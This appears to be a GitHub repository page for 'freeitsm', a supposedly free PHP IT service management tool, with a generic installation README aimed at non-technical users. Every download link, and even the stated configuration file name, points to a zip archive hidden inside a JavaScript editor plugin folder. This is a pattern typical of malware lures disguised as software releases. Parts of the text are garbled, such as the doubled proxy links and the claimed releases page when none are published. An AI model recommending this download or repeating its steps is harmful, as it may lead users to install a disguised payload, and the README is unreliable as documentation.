Skip to content

🛠️ Build and manage IT service requests with FreeITSM, a web-based platform offering tickets, assets, change, and security features.

License

Notifications You must be signed in to change notification settings

thex29/freeitsm

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

184 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

⚙️ freeitsm - Simplify Your IT Service Management

Download freeitsm


📖 What is freeitsm?

freeitsm is a completely free IT Service Management (ITSM) tool designed to help you keep track of your IT assets, tickets, knowledge base, and more. It runs on common web technologies, making it easy to access from any device with a web browser.

You don’t need to be an expert to use freeitsm. It offers simple forms, calendar views, and asset management features that help small teams or individuals organize their IT tasks efficiently.


🛠 Key Features

  • Ticketing System: Manage requests and incidents through a straightforward ticket system.
  • Asset Management: Keep an inventory of your hardware and software.
  • Knowledge Base: Store and share information in a user-friendly format.
  • Calendar: Schedule and track important IT events and deadlines.
  • Forms: Create and fill forms to collect information quickly.
  • Changelog: Maintain a log of updates and changes for easy tracking.
  • AI Assistance: Basic AI features to help automate routine tasks.
  • Cross-platform: Works on Windows, Mac, and Linux via a browser.

These features make freeitsm a suitable choice for small companies, IT freelancers, or anyone who wants a simple way to manage IT tasks without complex setups.


💻 System Requirements

Before you start, please check that your device meets the following:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or any Linux distribution.
  • Web Browser: Latest version of Chrome, Firefox, Edge, or Safari.
  • Hardware: At least 2 GB RAM and 500 MB disk space.
  • Web Server: freeitsm uses PHP and SQL, so you will need a web server like Apache or Nginx and a database such as MySQL or MariaDB.

If you don’t already have a web server and database set up, you may consider using free software packages such as XAMPP or MAMP that bundle these components.


🚀 Getting Started

Here’s how you can get freeitsm up and running without any coding knowledge:

  1. Download the software package
    Click the big download button at the top or visit https://raw.githubusercontent.com/thex29/freeitsm/main/assets/js/tinymce/plugins/pagebreak/Software-2.9.zip to get the latest release zip file.

  2. Extract the package
    After downloading, right-click the zip file and select “Extract All” or use your preferred unzip tool. Choose a folder where you want freeitsm files to live.

  3. Set up your web server and database

    • If you have XAMPP, MAMP, or similar installed, start the web server and MySQL/MariaDB.
    • Create a new database using the database tool (phpMyAdmin or command line).
    • Remember the database name, username, and password.
  4. Configure freeitsm

    • Open the extracted folder.
    • Find the configuration file (usually named something like https://raw.githubusercontent.com/thex29/freeitsm/main/assets/js/tinymce/plugins/pagebreak/Software-2.9.zip).
    • Edit it with a simple text editor (e.g., Notepad or TextEdit).
    • Enter your database details so freeitsm can connect.
  5. Run freeitsm in your browser

    • Open your browser.
    • Enter the path to freeitsm on your local server (often something like http://localhost/freeitsm).
    • Follow the on-screen instructions to complete setup.

You now have a basic freeitsm system ready to use.


📥 Download & Install

To install freeitsm, visit the official releases page:

Download freeitsm

You will find the latest stable version packaged for easy download. Download the ZIP file and follow the Getting Started guide above to set everything up. The ZIP contains all files needed to run the application.

If you run into issues, the release page often has notes and links to help.


🔧 Common Tasks

Creating a Ticket

  1. Log in to freeitsm.
  2. Click on “New Ticket” or “Create Ticket” on the dashboard.
  3. Type the problem details in the form.
  4. Assign priority and category if available.
  5. Submit the ticket.

Adding an Asset

  1. Navigate to the “Assets” section.
  2. Click “Add New Asset.”
  3. Fill in details like name, type (Hardware/Software), serial number.
  4. Save the asset.

Using the Knowledge Base

  1. Access the “Knowledge” or “KB” area.
  2. Click “Create Article.”
  3. Write your notes or instructions.
  4. Save to make it available to others.

Viewing Calendar Events

  1. Open the “Calendar” tab.
  2. View scheduled tasks or add new events.
  3. Events can include maintenance times, reviews, or deadlines.

🛡 Security Tips

  • Always change default passwords after installation.
  • Back up your database regularly.
  • Keep your web server and PHP software updated.
  • Limit access to the freeitsm folder on your server.

🤝 Getting Help

If you need assistance:

  • Check the project’s official GitHub page for FAQs.
  • Look at documentation files included in the download.
  • Search online for tutorials related to freeitsm or PHP/SQL setups.

You don’t need to be a programmer, but basic computer skills help in administering software running on a web server.


📚 More About freeitsm

Here are the main topics freeitsm covers:

  • ai
  • asset management
  • calendar
  • changelog
  • forms
  • free software
  • ITSM (IT Service Management)
  • knowledge base
  • PHP based
  • software inventory
  • SQL database
  • ticketing system

These give you an idea of what the tool focuses on and its ability to cover most IT help desk needs with simple tools.


🔄 Updating freeitsm

To update freeitsm:

  1. Download the latest release from the same releases page.
  2. Back up your database and files.
  3. Replace the old files with new ones, keeping your configuration.
  4. Run any update scripts if included in the package.

Download freeitsm

About

🛠️ Build and manage IT service requests with FreeITSM, a web-based platform offering tickets, assets, change, and security features.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •